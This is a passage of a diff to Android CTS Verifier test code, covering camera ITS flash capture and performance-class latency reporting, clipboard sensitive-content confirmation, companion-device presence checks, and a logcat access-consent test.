maxPreviewSize.getHeight()) + .filter(s -> s.getWidth() * s.getHeight() + >= minPreviewSize.getWidth() * minPreviewSize.getHeight()) .sorted(Comparator.comparingInt(s -> s.getWidth() * s.getHeight())) .map(Size::toString) .collect(Collectors.joining(";")); @@ -2122,7 +2133,7 @@ public class ItsService extends Service implements SensorEventListener { int fileFormat = MediaRecorder.OutputFormat.DEFAULT; String outputFilePath = getOutputMediaFile(cameraDeviceId, videoSize, - /* quality= */"preview", fileFormat, /* stabilized= */ true); + /* quality= */"preview", fileFormat, stabilize); assert outputFilePath != null; mMediaRecorder = new MediaRecorder(this); @@ -2337,6 +2348,104 @@ public class ItsService extends Service implements SensorEventListener { return mediaFile + fileExtension; } + private void doCaptureWithFlash(JSONObject params) throws ItsException { + // Parse the json to get the capture requests + List<CaptureRequest.Builder> previewStartRequests = ItsSerializer.deserializeRequestList( + mCamera, params, "previewRequestStart"); + List<CaptureRequest.Builder> previewIdleRequests = ItsSerializer.deserializeRequestList( + mCamera, params, "previewRequestIdle"); + List<CaptureRequest.Builder> stillCaptureRequests = ItsSerializer.deserializeRequestList( + mCamera, params, "stillCaptureRequest"); + + mCaptureResults = new CaptureResult[2]; + + ThreeAResultListener threeAListener = new ThreeAResultListener(); + List<OutputConfiguration> outputConfigs = new ArrayList<OutputConfiguration>(); + SurfaceTexture preview = new SurfaceTexture(/*random int*/ 1); + Surface previewSurface = new Surface(preview); + try { + BlockingSessionCallback sessionListener = new BlockingSessionCallback(); + try { + mCountCapRes.set(0); + mCountJpg.set(0); + JSONArray jsonOutputSpecs = ItsUtils.getOutputSpecs(params); + prepareImageReadersWithOutputSpecs(jsonOutputSpecs, /*inputSize*/null, + /*inputFormat*/0,/*maxInputBuffers*/0,false); + + outputConfigs.add(new OutputConfiguration(mOutputImageReaders[0].getSurface())); + outputConfigs.add(new OutputConfiguration(previewSurface)); + mCamera.createCaptureSessionByOutputConfigurations( + outputConfigs, sessionListener, mCameraHandler); + mSession = sessionListener.waitAndGetSession(TIMEOUT_IDLE_MS); + ImageReader.OnImageAvailableListener readerListener = + createAvailableListener(mCaptureCallback); + mOutputImageReaders[0].setOnImageAvailableListener(readerListener, + mSaveHandlers[0]); + } catch (Exception e) { + throw new ItsException("Error configuring outputs", e); + } + CaptureRequest.Builder previewIdleReq = previewIdleRequests.get(0); + previewIdleReq.addTarget(previewSurface); + mSession.setRepeatingRequest(previewIdleReq.build(), threeAListener, mResultHandler); + Logt.i(TAG, "Triggering precapture sequence"); + mPrecaptureTriggered = false; + CaptureRequest.Builder previewStartReq = previewStartRequests.get(0); + previewStartReq.addTarget(previewSurface); + mSession.capture(previewStartReq.build(), threeAListener ,mResultHandler); + mInterlock3A.open(); + synchronized(m3AStateLock) { + mPrecaptureTriggered = false; + mConvergeAETriggered = false; + } + long tstart = System.currentTimeMillis(); + boolean triggeredAE = false; + while (!mPrecaptureTriggered) { + if (!mInterlock3A.block(TIMEOUT_3A * 1000) || + System.currentTimeMillis() - tstart > TIMEOUT_3A * 1000) { + throw new ItsException ( + "AE state is " + CaptureResult.CONTROL_AE_STATE_PRECAPTURE + + "after " + TIMEOUT_3A + " seconds."); + } + } + mConvergeAETriggered = false; + + tstart = System.currentTimeMillis(); + while (!mConvergeAETriggered) { + if (!mInterlock3A.block(TIMEOUT_3A * 1000) || + System.currentTimeMillis() - tstart > TIMEOUT_3A * 1000) { + throw new ItsException ( + "3A failed to converge after " + TIMEOUT_3A + " seconds.\n" + + "AE converge state: " + mConvergedAE + "."); + } + } + mInterlock3A.close(); + Logt.i(TAG, "AE state after precapture sequence: " + mConvergeAETriggered); + threeAListener.stop(); + + // Send a still capture request + CaptureRequest.Builder stillCaptureRequest = stillCaptureRequests.get(0); + Logt.i(TAG, "Taking still capture with ON_AUTO_FLASH."); + stillCaptureRequest.addTarget(mOutputImageReaders[0].getSurface()); + mSession.capture(stillCaptureRequest.build(), mCaptureResultListener, mResultHandler); + mCountCallbacksRemaining.set(1); + long timeout = TIMEOUT_CALLBACK * 1000; + waitForCallbacks(timeout); + mSession.stopRepeating(); + } catch (android.hardware.camera2.CameraAccessException e) { + throw new ItsException("Access error: ", e); + } finally { + if (mSession != null) { + mSession.close(); + } + if (previewSurface != null) { + previewSurface.release(); + } + if (preview != null) { + preview.release(); + } + } + } + private void doCapture(JSONObject params) throws ItsException { try { // Parse the JSON to get the list of capture requests. @@ -2883,7 +2992,14 @@ public class ItsService extends Service implements SensorEventListener { result.get(CaptureResult.CONTROL_AE_STATE) == CaptureResult.CONTROL_AE_STATE_LOCKED; mLockedAE = result.get(CaptureResult.CONTROL_AE_STATE) == - CaptureResult.CONTROL_AE_STATE_LOCKED; + CaptureResult.CONTROL_AE_STATE_LOCKED; + if (!mPrecaptureTriggered) { + mPrecaptureTriggered = result.get(CaptureResult.CONTROL_AE_STATE) == + CaptureResult.CONTROL_AE_STATE_PRECAPTURE; + } + if (!mConvergeAETriggered) { + mConvergeAETriggered = mConvergedAE; + } } if (result.get(CaptureResult.CONTROL_AF_STATE) != null) { mConvergedAF = result.get(CaptureResult.CONTROL_AF_STATE) == diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsTestActivity.java index d83464bd549..692538a81c3 100644 --- a/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsTestActivity.java +++ b/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsTestActivity.java @@ -21,9 +21,8 @@ import android.content.Context; import android.content.Intent; import android.content.IntentFilter; import android.content.res.Configuration; -import android.hardware.camera2.CameraCharacteristics; import android.hardware.camera2.CameraManager; -import android.os.Build; +import android.mediapc.cts.common.PerformanceClassEvaluator; import android.os.Bundle; import android.text.method.ScrollingMovementMethod; import android.util.Log; @@ -31,6 +30,11 @@ import android.view.WindowManager; import android.widget.TextView; import android.widget.Toast; +import java.io.BufferedReader; +import java.io.FileReader; +import java.io.FileNotFoundException; +import java.io.IOException; + import java.util.ArrayList; import java.util.Arrays; import java.util.Comparator; @@ -39,17 +43,11 @@ import java.util.HashMap; import java.util.Iterator; import java.util.List; import java.util.Locale; -import java.util.Map; import java.util.Set; import java.util.TreeSet; import java.util.regex.Matcher; import java.util.regex.Pattern; -import java.io.BufferedReader; -import java.io.FileReader; -import java.io.FileNotFoundException; -import java.io.IOException; - import com.android.compatibility.common.util.ResultType; import com.android.compatibility.common.util.ResultUnit; import com.android.cts.verifier.ArrayTestListAdapter; @@ -59,6 +57,7 @@ import com.android.cts.verifier.TestResult; import org.json.JSONArray; import org.json.JSONObject; +import org.junit.rules.TestName; /** * Test for Camera features that require that the camera be aimed at a specific test scene. @@ -81,12 +80,6 @@ public class ItsTestActivity extends DialogTestListActivity { Arrays.asList(new String[] {RESULT_PASS, RESULT_FAIL, RESULT_NOT_EXECUTED})); private static final int MAX_SUMMARY_LEN = 200; - private static final int MPC12_CAMERA_LAUNCH_THRESHOLD = 600; // ms - private static final int MPC12_JPEG_CAPTURE_THRESHOLD = 1000; // ms - - private static final String MPC_TESTS_REPORT_LOG_NAME = "MediaPerformanceClassLogs"; - private static final String MPC_TESTS_REPORT_LOG_SECTION = "CameraIts"; - private static final Pattern MPC12_CAMERA_LAUNCH_PATTERN = Pattern.compile("camera_launch_time_ms:(\\d+(\\.\\d+)?)"); private static final Pattern MPC12_JPEG_CAPTURE_PATTERN = @@ -95,8 +88,12 @@ public class ItsTestActivity extends DialogTestListActivity { private final ResultReceiver mResultsReceiver = new ResultReceiver(); private boolean mReceiverRegistered = false; + public final TestName mTestName = new TestName(); + // Initialized in onCreate List<String> mToBeTestedCameraIds = null; + String mPrimaryRearCameraId = null; + String mPrimaryFrontCameraId = null; // Scenes private static final ArrayList<String> mSceneIds = new ArrayList<String> () {{ @@ -132,8 +129,15 @@ public class ItsTestActivity extends DialogTestListActivity { private final HashMap<ResultKey, String> mSummaryMap = new HashMap<>(); // All primary cameras for which MPC level test has run private Set<ResultKey> mExecutedMpcTests = null; - // Map primary camera id to MPC level - private final HashMap<String, Integer> mMpcLevelMap = new HashMap<>(); + private static final String MPC_LAUNCH_REQ_NUM = "2.2.7.2/7.5/H-1-6"; + private static final String MPC_JPEG_CAPTURE_REQ_NUM = "2.2.7.2/7.5/H-1-5"; + // Performance class evaluator used for writing test result + PerformanceClassEvaluator mPce = new PerformanceClassEvaluator(mTestName); + PerformanceClassEvaluator.CameraLatencyRequirement mJpegLatencyReq = + mPce.addR7_5__H_1_5(); + PerformanceClassEvaluator.CameraLatencyRequirement mLaunchLatencyReq = + mPce.addR7_5__H_1_6(); + final class ResultKey { public final String cameraId; @@ -266,10 +270,7 @@ public class ItsTestActivity extends DialogTestListActivity { JSONArray metrics = sceneResult.getJSONArray("mpc_metrics"); for (int i = 0; i < metrics.length(); i++) { String mpcResult = metrics.getString(i); - if (!matchMpcResult(cameraId, mpcResult, MPC12_CAMERA_LAUNCH_PATTERN, - "2.2.7.2/7.5/H-1-6", MPC12_CAMERA_LAUNCH_THRESHOLD) && - !matchMpcResult(cameraId, mpcResult, MPC12_JPEG_CAPTURE_PATTERN, - "2.2.7.2/7.5/H-1-5", MPC12_JPEG_CAPTURE_THRESHOLD)) { + if (!matchMpcResult(cameraId, mpcResult)) { Log.e(TAG, "Error parsing MPC result string:" + mpcResult); return; } @@ -294,17 +295,6 @@ public class ItsTestActivity extends DialogTestListActivity { summary.toString(), 1.0, ResultType.NEUTRAL, ResultUnit.NONE); } - // Save MPC info once both front primary and rear primary data are collected. - if (mExecutedMpcTests.size() == 4) { - ItsTestActivity.this.getReportLog().addValue( - "Version", "0.0.1", ResultType.NEUTRAL, ResultUnit.NONE); - for (Map.Entry<String, Integer> entry : mMpcLevelMap.entrySet()) { - ItsTestActivity.this.getReportLog().addValue(entry.getKey(), - entry.getValue(), ResultType.NEUTRAL, ResultUnit.NONE); - } - ItsTestActivity.this.getReportLog().submit(); - } - // Display current progress StringBuilder progress = new StringBuilder(); for (ResultKey k : mAllScenes) { @@ -367,28 +357,44 @@ public class ItsTestActivity extends DialogTestListActivity { } } - private boolean matchMpcResult(String cameraId, String mpcResult, Pattern pattern, - String reqNum, float threshold) { - Matcher matcher = pattern.matcher(mpcResult); - boolean match = matcher.matches(); - final int LATEST_MPC_LEVEL = Build.VERSION_CODES.TIRAMISU; + private boolean matchMpcResult(String cameraId, String mpcResult) { + Matcher launchMatcher = MPC12_CAMERA_LAUNCH_PATTERN.matcher(mpcResult); + boolean launchMatches = launchMatcher.matches(); - if (match) { - // Store test result - ItsTestActivity.this.getReportLog().addValue("Cam" + cameraId, - mpcResult, ResultType.NEUTRAL, ResultUnit.NONE); + Matcher jpegMatcher = MPC12_JPEG_CAPTURE_PATTERN.matcher(mpcResult); + boolean jpegMatches = jpegMatcher.matches(); - float latency = Float.parseFloat(matcher.group(1)); - int mpcLevel = latency < threshold ? LATEST_MPC_LEVEL : 0; - mExecutedMpcTests.add(new ResultKey(cameraId, reqNum)); + if (!launchMatches && !jpegMatches) { + return false; + } + if (!cameraId.equals(mPrimaryRearCameraId) && + !cameraId.equals(mPrimaryFrontCameraId)) { + return false; + } - if (mMpcLevelMap.containsKey(reqNum)) { - mpcLevel = Math.min(mpcLevel, mMpcLevelMap.get(reqNum)); + if (launchMatches) { + float latency = Float.parseFloat(launchMatcher.group(1)); + if (cameraId.equals(mPrimaryRearCameraId)) { + mLaunchLatencyReq.setRearCameraLatency(latency); + } else { + mLaunchLatencyReq.setFrontCameraLatency(latency); + } + mExecutedMpcTests.add(new ResultKey(cameraId, MPC_LAUNCH_REQ_NUM)); + } else { + float latency = Float.parseFloat(jpegMatcher.group(1)); + if (cameraId.equals(mPrimaryRearCameraId)) { + mJpegLatencyReq.setRearCameraLatency(latency); + } else { + mJpegLatencyReq.setFrontCameraLatency(latency); } - mMpcLevelMap.put(reqNum, mpcLevel); + mExecutedMpcTests.add(new ResultKey(cameraId, MPC_JPEG_CAPTURE_REQ_NUM)); } - return match; + // Save MPC info once both front primary and rear primary data are collected. + if (mExecutedMpcTests.size() == 4) { + mPce.submit(); + } + return true; } } @@ -397,8 +403,11 @@ public class ItsTestActivity extends DialogTestListActivity { // Hide the test if all camera devices are legacy CameraManager manager = (CameraManager) this.getSystemService(Context.CAMERA_SERVICE); try { - ItsUtils.ItsCameraIdList cameraIdList = ItsUtils.getItsCompatibleCameraIds(manager); + ItsUtils.ItsCameraIdList cameraIdList = + ItsUtils.getItsCompatibleCameraIds(manager); mToBeTestedCameraIds = cameraIdList.mCameraIdCombos; + mPrimaryRearCameraId = cameraIdList.mPrimaryRearCameraId; + mPrimaryFrontCameraId = cameraIdList.mPrimaryFrontCameraId; } catch (ItsException e) { Toast.makeText(ItsTestActivity.this, "Received error from camera service while checking device capabilities: " @@ -499,14 +508,4 @@ public class ItsTestActivity extends DialogTestListActivity { setInfoResources(R.string.camera_its_test, R.string.camera_its_test_info, -1); setPassFailButtonClickListeners(); } - - @Override - public String getReportFileName() { - return MPC_TESTS_REPORT_LOG_NAME; - } - - @Override - public String getReportSectionName() { - return MPC_TESTS_REPORT_LOG_SECTION; - } } diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsUtils.java b/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsUtils.java index c648e8e18d9..734b4a2a780 100644 --- a/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsUtils.java +++ b/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsUtils.java @@ -16,28 +16,24 @@ package com.android.cts.verifier.camera.its; -import android.content.Context; import android.graphics.ImageFormat; import android.graphics.Rect; import android.hardware.camera2.CameraAccessException; import android.hardware.camera2.CameraDevice; import android.hardware.camera2.CameraCharacteristics; import android.hardware.camera2.CameraManager; +import android.hardware.camera2.CameraMetadata; import android.hardware.camera2.CaptureRequest; -import android.hardware.camera2.CaptureResult; import android.hardware.camera2.params.MeteringRectangle; import android.hardware.camera2.params.StreamConfigurationMap; import android.media.Image; import android.media.Image.Plane; -import android.net.Uri; -import android.os.Environment; import android.os.Handler; import android.os.HandlerThread; import android.util.Log; import android.util.Size; import com.android.ex.camera2.blocking.BlockingCameraManager; -import com.android.ex.camera2.blocking.BlockingCameraManager.BlockingOpenException; import com.android.ex.camera2.blocking.BlockingStateCallback; import org.json.JSONArray; @@ -322,6 +318,9 @@ public class ItsUtils { // Camera Id combos (ids from CameraIdList, and hidden physical camera Ids // in the form of [logical camera id]:[hidden physical camera id] public List<String> mCameraIdCombos; + // Primary rear and front camera Ids (as defined in MPC) + public String mPrimaryRearCameraId; + public String mPrimaryFrontCameraId; } public static ItsCameraIdList getItsCompatibleCameraIds(CameraManager manager) @@ -345,6 +344,18 @@ public class ItsUtils { CameraCharacteristics.REQUEST_AVAILABLE_CAPABILITIES_BACKWARD_COMPATIBLE; final int LOGICAL_MULTI_CAMERA = CameraCharacteristics.REQUEST_AVAILABLE_CAPABILITIES_LOGICAL_MULTI_CAMERA; + + final Integer facing = characteristics.get(CameraCharacteristics.LENS_FACING); + if (facing != null) { + if (facing == CameraMetadata.LENS_FACING_BACK + && outList.mPrimaryRearCameraId == null) { + outList.mPrimaryRearCameraId = id; + } else if (facing == CameraMetadata.LENS_FACING_FRONT + && outList.mPrimaryFrontCameraId == null) { + outList.mPrimaryFrontCameraId = id; + } + } + for (int capability : actualCapabilities) { if (capability == BACKWARD_COMPAT) { haveBC = true; diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/clipboard/ClipboardPreviewTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/clipboard/ClipboardPreviewTestActivity.java index 3587e6f9b8c..63b8904fa03 100644 --- a/apps/CtsVerifier/src/com/android/cts/verifier/clipboard/ClipboardPreviewTestActivity.java +++ b/apps/CtsVerifier/src/com/android/cts/verifier/clipboard/ClipboardPreviewTestActivity.java @@ -18,49 +18,22 @@ package com.android.cts.verifier.clipboard; import android.content.ClipData; +import android.content.ClipDescription; import android.content.ClipboardManager; -import android.graphics.Color; import android.os.Bundle; +import android.os.PersistableBundle; import android.view.View; import android.widget.Button; import com.android.cts.verifier.PassFailButtons; import com.android.cts.verifier.R; -import java.util.concurrent.ThreadLocalRandom; - /** - * A CTS Verifier test case for validating the user-visible clipboard preview. - * - * This test assumes bluetooth is turned on and the device is already paired with a second device. - * Note: the second device need not be an Android device; it could be a laptop or desktop. + * A CTS Verifier test case for validating the user-visible clipboard confirmation. */ public class ClipboardPreviewTestActivity extends PassFailButtons.Activity { - /** - * The content of the test file being transferred. - */ - private static final String TEST_STRING = "Sample Test String"; - /** - * The name of the test file being transferred. - */ - private final int[] mSecretCode = new int[4]; - private final int[] mSecretGuess = new int[4]; - private final int[] mButtons = { - R.id.clipboard_preview_test_b0, - R.id.clipboard_preview_test_b1, - R.id.clipboard_preview_test_b2, - R.id.clipboard_preview_test_b3, - R.id.clipboard_preview_test_b4, - R.id.clipboard_preview_test_b5, - R.id.clipboard_preview_test_b6, - R.id.clipboard_preview_test_b7, - R.id.clipboard_preview_test_b8, - R.id.clipboard_preview_test_b9 - }; - private int mGuessIndex = 0; - @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); @@ -74,87 +47,29 @@ public class ClipboardPreviewTestActivity extends PassFailButtons.Activity { copyButton.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { - generateAndCopySecret(); + setClipboardData(); } }); - disableKeypad(); + disablePassFail(); } - private void generateAndCopySecret() { - String s = ""; - resetState(); - for (int i = 0; i < mSecretCode.length; ++i) { - mSecretCode[i] = ThreadLocalRandom.current().nextInt(0, 10); - s += mSecretCode[i]; - } + private void setClipboardData() { ClipboardManager cm = this.getSystemService(ClipboardManager.class); - cm.setPrimaryClip(ClipData.newPlainText("Secret", s)); - enableKeypad(); - } - private void enableKeypad() { - for (int i = 0; i < mButtons.length; ++i) { - Button numButton = findViewById(mButtons[i]); - numButton.setBackgroundColor(Color.GREEN); - int finalI = i; - numButton.setOnClickListener(new View.OnClickListener() { - @Override - public void onClick(View v) { - buttonClicked(finalI); - } - }); - } + ClipData cd = ClipData.newPlainText("", + getString(R.string.clipboard_preview_test_secret)); + PersistableBundle pb = new PersistableBundle(1); + pb.putBoolean(ClipDescription.EXTRA_IS_SENSITIVE, true); + cd.getDescription().setExtras(pb); + cm.setPrimaryClip(cd); + enablePassFail(); } - private void disableKeypad() { - for (int i = 0; i < mButtons.length; ++i) { - Button numButton = findViewById(mButtons[i]); - numButton.setOnClickListener(null); - numButton.setBackgroundColor(Color.LTGRAY); - } - } - - private void resetState() { - for (int i = 0; i < mSecretGuess.length; ++i) { - mSecretGuess[i] = -1; - } - mGuessIndex = 0; - View v = findViewById(R.id.clipboard_preview_test_pass_fail); + private void disablePassFail() { findViewById(R.id.clipboard_preview_test_pass_fail).setVisibility(View.INVISIBLE); - findViewById(R.id.fail_button).setVisibility(View.VISIBLE); - findViewById(R.id.pass_button).setVisibility(View.VISIBLE); - } - - private void buttonClicked(int i) { - if (mGuessIndex < mSecretGuess.length) { - mSecretGuess[mGuessIndex] = i; - ++mGuessIndex; - } - checkSolution(); - } - - private void checkSolution() { - boolean testPassed = true; - if (mGuessIndex == mSecretGuess.length) { - for (int i = 0; i < mSecretGuess.length && i < mSecretCode.length; ++i) { - if (mSecretGuess[i] != mSecretCode[i]) { - testPassed = false; - } - } - markPassed(testPassed); - disableKeypad(); - } } - private void markPassed(boolean passed) { + private void enablePassFail() { findViewById(R.id.clipboard_preview_test_pass_fail).setVisibility(View.VISIBLE); - if (passed) { - findViewById(R.id.fail_button).setVisibility(View.INVISIBLE); - } else { - findViewById(R.id.pass_button).setVisibility(View.INVISIBLE); - } - } - - } diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/companion/CompanionDeviceServiceTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/companion/CompanionDeviceServiceTestActivity.java index b8b96023cb7..97ec07acf78 100644 --- a/apps/CtsVerifier/src/com/android/cts/verifier/companion/CompanionDeviceServiceTestActivity.java +++ b/apps/CtsVerifier/src/com/android/cts/verifier/companion/CompanionDeviceServiceTestActivity.java @@ -118,7 +118,7 @@ public class CompanionDeviceServiceTestActivity extends PassFailButtons.Activity /** Stop observing to associated device and then disassociate. */ private void disassociate(AssociationInfo association) { - String deviceAddress = association.getDeviceMacAddressAsString(); + String deviceAddress = association.getDeviceMacAddress().toString(); mCompanionDeviceManager.stopObservingDevicePresence(deviceAddress); mCompanionDeviceManager.disassociate(association.getId()); Log.d(LOG_TAG, "Disassociated with device: " + deviceAddress); @@ -142,11 +142,14 @@ public class CompanionDeviceServiceTestActivity extends PassFailButtons.Activity AssociationInfo association = data.getParcelableExtra(CompanionDeviceManager.EXTRA_ASSOCIATION, AssociationInfo.class); - String deviceAddress = association.getDeviceMacAddressAsString(); // This test is for bluetooth devices, which should all have a MAC address. - if (deviceAddress == null) fail("The device was present but its address was null."); + if (association == null || association.getDeviceMacAddress() == null) { + fail("The device was present but its address was null."); + return; + } + String deviceAddress = association.getDeviceMacAddress().toString(); mCompanionDeviceManager.startObservingDevicePresence(deviceAddress); mCurrentAssociation = getAssociation(association.getId()); Log.d(LOG_TAG, "Associated with device: " + deviceAddress); @@ -285,7 +288,9 @@ public class CompanionDeviceServiceTestActivity extends PassFailButtons.Activity @Override boolean verify() { // Check that it is associated and being observed. - return mCurrentAssociation != null && mCurrentAssociation.isNotifyOnDeviceNearby(); + // Bypass inaccessible AssociationInfo#isNotifyOnDeviceNearby() with toString() + return mCurrentAssociation != null + && mCurrentAssociation.toString().contains("mNotifyOnDeviceNearby=true"); } } diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/companion/DevicePresenceListener.java b/apps/CtsVerifier/src/com/android/cts/verifier/companion/DevicePresenceListener.java index 37760d54440..11829c3d4b7 100644 --- a/apps/CtsVerifier/src/com/android/cts/verifier/companion/DevicePresenceListener.java +++ b/apps/CtsVerifier/src/com/android/cts/verifier/companion/DevicePresenceListener.java @@ -45,7 +45,7 @@ public class DevicePresenceListener extends CompanionDeviceService { @Override public void onDeviceAppeared(AssociationInfo association) { NEARBY_DEVICES.add(association.getId()); - String message = "Device appeared: " + association.getDeviceMacAddressAsString(); + String message = "Device appeared: " + association.getDeviceMacAddress(); Log.d(LOG_TAG, message); Toast.makeText(this, message, Toast.LENGTH_LONG).show(); } @@ -53,7 +53,7 @@ public class DevicePresenceListener extends CompanionDeviceService { @Override public void onDeviceDisappeared(AssociationInfo association) { NEARBY_DEVICES.remove(association.getId()); - String message = "Device disappeared: " + association.getDeviceMacAddressAsString(); + String message = "Device disappeared: " + association.getDeviceMacAddress(); Log.d(LOG_TAG, message); Toast.makeText(this, message, Toast.LENGTH_LONG).show(); } diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/features/FeatureUtil.java b/apps/CtsVerifier/src/com/android/cts/verifier/features/FeatureUtil.java index f6b179c5dd1..eddd930ac30 100644 --- a/apps/CtsVerifier/src/com/android/cts/verifier/features/FeatureUtil.java +++ b/apps/CtsVerifier/src/com/android/cts/verifier/features/FeatureUtil.java @@ -130,6 +130,6 @@ public final class FeatureUtil { * Checks whether the device shows keyguard when the user doesn't have credentials. */ public static boolean isKeyguardShownWhenUserDoesntHaveCredentials(Context context) { - return !isAutomotive(context); + return !isAutomotive(context) && !isWatch(context); } } diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/logcat/ReadLogsTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/logcat/ReadLogsTestActivity.java index ff12bd23e16..171d612ce7d 100644 --- a/apps/CtsVerifier/src/com/android/cts/verifier/logcat/ReadLogsTestActivity.java +++ b/apps/CtsVerifier/src/com/android/cts/verifier/logcat/ReadLogsTestActivity.java @@ -54,15 +54,18 @@ public class ReadLogsTestActivity extends PassFailButtons.Activity { */ private static final String TAG = "ReadLogsTestActivity"; - private static final String PERMISSION = "android.permission.READ_LOGS"; - - private static final String ALLOW_LOGD_ACCESS = "Allow logd access"; - private static final String DENY_LOGD_ACCESS = "Decline logd access"; private static final String SYSTEM_LOG_START = "--------- beginning of system"; private static final int NUM_OF_LINES_FG = 10; private static final int NUM_OF_LINES_BG = 0; - private static final int LOG_ACCESS_INTERVAL = 1000 * 60 * 2; + private static final int LOG_ACCESS_INTERVAL_MILLIS = 1000 * 60 * 2; + + private static final List<String> LOG_CAT_TEST_COMMAND = Arrays.asList("logcat", + "-b", "system", + "-v", "uid", + "-v", "process", + "-t", Integer.toString(NUM_OF_LINES_FG)); + private volatile long mLastLogAccess = 0; private static Context sContext; @@ -71,11 +74,14 @@ public class ReadLogsTestActivity extends PassFailButtons.Activity { private static String sAppPackageName; private static ExecutorService sExecutorService; + private static String sLogCatUidFilterRegex; + @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); sContext = this; + sLogCatUidFilterRegex = "^[A-Z]{1}\\(\\s" + sContext.getApplicationInfo().uid; sActivityManager = sContext.getSystemService(ActivityManager.class); sExecutorService = Executors.newSingleThreadExecutor(); @@ -114,72 +120,70 @@ public class ReadLogsTestActivity extends PassFailButtons.Activity { public void runLogcatInForegroundAllowOnlyOnce() { Log.d(TAG, "Inside runLogcatInForegroundAllowOnlyOnce()"); - if (mLastLogAccess > (SystemClock.elapsedRealtime() - LOG_ACCESS_INTERVAL)) { + if (mLastLogAccess > (SystemClock.elapsedRealtime() - LOG_ACCESS_INTERVAL_MILLIS)) { String reason = "Please wait for " - + ((mLastLogAccess + LOG_ACCESS_INTERVAL - SystemClock.elapsedRealtime()) + + ((mLastLogAccess + LOG_ACCESS_INTERVAL_MILLIS - SystemClock.elapsedRealtime()) / 1000) + " seconds before running the test."; Toast.makeText(this, reason, Toast.LENGTH_LONG).show(); return; } - sExecutorService.execute(new Runnable() { - - public void run() { - BufferedReader reader = null; - try { - - // Dump the logcat most recent 10 lines before the compile command, - // and check if there are logs about compiling the test package. - java.lang.Process logcat = new ProcessBuilder( - Arrays.asList("logcat", "-b", "system", "-t", - Integer.toString(NUM_OF_LINES_FG))).start(); - reader = new BufferedReader(new InputStreamReader(logcat.getInputStream())); - logcat.waitFor(); - - List<String> logcatOutput = new ArrayList<>(); - String current; - Integer lineCount = 0; - while ((current = reader.readLine()) != null) { - logcatOutput.add(current); - lineCount++; - } + sExecutorService.execute(() -> { + BufferedReader reader = null; + try { + + // Dump the logcat most recent 10 lines before the compile command, + // and check if there are logs about compiling the test package. + Process logcat = new ProcessBuilder(LOG_CAT_TEST_COMMAND).start(); + reader = new BufferedReader(new InputStreamReader(logcat.getInputStream())); + logcat.waitFor(); + + List<String> logcatOutput = new ArrayList<>(); + String current; + Integer lineCount = 0; + while ((current = reader.readLine()) != null) { + logcatOutput.add(current); + lineCount++; + } - Log.d(TAG, "Logcat system allow line count: " + lineCount); - Log.d(TAG, "Logcat system allow output: " + logcatOutput); + Log.d(TAG, "Logcat system allow line count: " + lineCount); + Log.d(TAG, "Logcat system allow output: " + logcatOutput); - try { + try { + assertTrue("System log output is null", logcatOutput.size() != 0); - assertTrue("System log output is null", logcatOutput.size() != 0); + // Check if the logcatOutput is not null. If logcatOutput is null, + // it throws an assertion error + assertNotNull(logcatOutput.get(0), "logcat output should not be null"); - // Check if the logcatOutput is not null. If logcatOutput is null, - // it throws an assertion error - assertNotNull(logcatOutput.get(0), "logcat output should not be null"); + boolean allowLog = logcatOutput.get(0).contains(SYSTEM_LOG_START); + assertTrue("Allow system log access contains log", allowLog); - boolean allowLog = logcatOutput.get(0).contains(SYSTEM_LOG_START); - assertTrue("Allow system log access containe log", allowLog); + boolean allowLineCount = lineCount > NUM_OF_LINES_FG; + assertTrue("Allow system log access count", allowLineCount); - boolean allowLineCount = lineCount > NUM_OF_LINES_FG; - assertTrue("Allow system log access count", allowLineCount); + Log.d(TAG, "Logcat system allow log contains: " + allowLog + " lineCount: " + + lineCount + " larger than: " + allowLineCount); - Log.d(TAG, "Logcat system allow log contains: " + allowLog + " lineCount: " - + lineCount + " larger than: " + allowLineCount); + mLastLogAccess = SystemClock.elapsedRealtime(); - mLastLogAccess = SystemClock.elapsedRealtime(); + runOnUiThread(() -> + Toast.makeText(this, "User Consent Allow Testing passed", + Toast.LENGTH_LONG).show()); - } catch (AssertionError e) { - fail("User Consent Allow Testing failed"); - } + } catch (AssertionError e) { + fail("User Consent Allow Testing failed"); + } - } catch (Exception e) { - Log.e(TAG, "User Consent Testing failed"); - } finally { - try { - if (reader != null) { - reader.close(); - } - } catch (IOException e) { - Log.d(TAG, "Could not close reader: " + e.getMessage()); + } catch (Exception e) { + Log.e(TAG, "User Consent Testing failed"); + } finally { + try { + if (reader != null) { + reader.close(); } + } catch (IOException e) { + Log.d(TAG, "Could not close reader: " + e.getMessage()); } } }); @@ -199,56 +203,53 @@ public class ReadLogsTestActivity extends PassFailButtons.Activity { public void runLogcatInForegroundDontAllow() { Log.d(TAG, "Inside runLogcatInForegroundDontAllow()"); - if (mLastLogAccess > (SystemClock.elapsedRealtime() - LOG_ACCESS_INTERVAL)) { + if (mLastLogAccess > (SystemClock.elapsedRealtime() - LOG_ACCESS_INTERVAL_MILLIS)) { String reason = "Please wait for " - + ((mLastLogAccess + LOG_ACCESS_INTERVAL - SystemClock.elapsedRealtime()) + + ((mLastLogAccess + LOG_ACCESS_INTERVAL_MILLIS - SystemClock.elapsedRealtime()) / 1000) + " seconds before running the test."; Toast.makeText(this, reason, Toast.LENGTH_LONG).show(); return; } - sExecutorService.execute(new Runnable() { + sExecutorService.execute(() -> { + BufferedReader reader = null; + try { + Process logcat = new ProcessBuilder(LOG_CAT_TEST_COMMAND).start(); + logcat.waitFor(); + + // Merge several logcat streams, and take the last N lines + reader = new 